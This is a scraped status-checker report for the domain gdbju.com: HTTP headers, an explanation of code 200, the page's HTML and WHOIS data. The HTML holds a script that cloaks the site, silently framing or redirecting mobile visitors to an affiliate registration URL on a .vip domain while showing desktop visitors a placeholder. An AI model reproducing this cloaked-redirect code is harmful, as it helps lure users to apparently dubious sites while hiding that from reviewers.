check web redirect url status code checker

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200 OK - gdbju.com
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Fri, 02 May 2025 09:14:31 GMT

HTTP Code 200 OK

200 OK is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: gdbju.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome</title>

<script>
(function() {
'use strict';

const canonicalLink = document.querySelector('link[rel="canonical"]');
let canonicalURL = canonicalLink?.href || window.location.href;
const curProtocol = canonicalURL.split(':')[0] || location.protocol.slice(0, -1);

// 百度统计规避逻辑
(() => {
  const baiduDomainRegex = /^(http|https):\/\/[\w.]+\.baidu\.com$/i;
  if (baiduDomainRegex.test(document.referrer) || baiduDomainRegex.test(canonicalURL)) return;

  const trackerURL = curProtocol === 'https' 
    ? 'https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif' 
    : '//api.share.baidu.com/s.gif';
  
  const params = new URLSearchParams();
  if (document.referrer) params.set('r', document.referrer);
  if (canonicalURL) params.set('l', canonicalURL);
  
  new Image().src = `${trackerURL}?${params}`;
})();
})();
</script>

<script>
var _hmt = _hmt || [];
(function() {
  const hm = document.createElement('script');
  hm.src = 'https://hm.baidu.com/hm.js?4649e2eb67d55201a9ec5713aef21c66';
  hm.async = true;
  document.head.appendChild(hm);
})();
</script>
</head>

<body>
<script>
// 确保 DOM 加载完成后执行
document.addEventListener('DOMContentLoaded', () => {
  'use strict';

  // 精准设备检测（优化版）
  const isMobile = () => /Mobi|Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  
  // 支持三位版本号 (15.5.1 → 15.5.1)
  const getIosVersion = () => {
    const match = navigator.userAgent.match(/OS (\d+)_(\d+)(?:_(\d+))?/);
    return match ? parseFloat(`${match[1]}.${match[2]}${match[3] ? `.${match[3]}` : ''}`) : 0;
  };

  const mobileUrl = "https://www.l4wl0v.vip:9133/register?agent_code=50001812";
  const isIOS = /iPhone|iPad|iPod/i.test(navigator.userAgent);

  if (isMobile()) {
    if (isIOS && getIosVersion() < 13) {
      setTimeout(() => location.assign(mobileUrl), 500);
    } else {
      const container = document.createElement('div');
      container.innerHTML = `
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
        <style>
          html, body { overflow: hidden; margin: 0; height: 100%; }
          iframe { border: 0; width: 100%; height: 100vh; }
        </style>
        <iframe src="${mobileUrl}" allow="fullscreen"></iframe>
      `;
      document.body.appendChild(container);
    }
  } else {
    document.body.innerHTML = `
      <div style="text-align:center; padding: 2rem;">
        <h1>欢迎访问桌面版</h1>
        <p>请使用移动设备访问以获得最佳体验</p>
        <p><a href="${mobileUrl}" style="color: #007bff;">手动跳转至移动版</a></p>
      </div>
    `;
  }
});
</script>
</body>

Whois info of domain

Domain Name: GDBJU.COM
Registry Domain ID: 2256985458_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.jumi.com
Registrar URL: http://www.juming.com
Updated Date: 2025-04-23T01:56:49Z
Creation Date: 2018-04-26T05:37:13Z
Registry Expiry Date: 2026-04-26T05:37:13Z
Registrar: Hefei Juming Network Technology Co., Ltd
Registrar IANA ID: 3758
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: 4009972996
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: JM1.DNS.COM
Name Server: JM2.DNS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-02T09:14:18Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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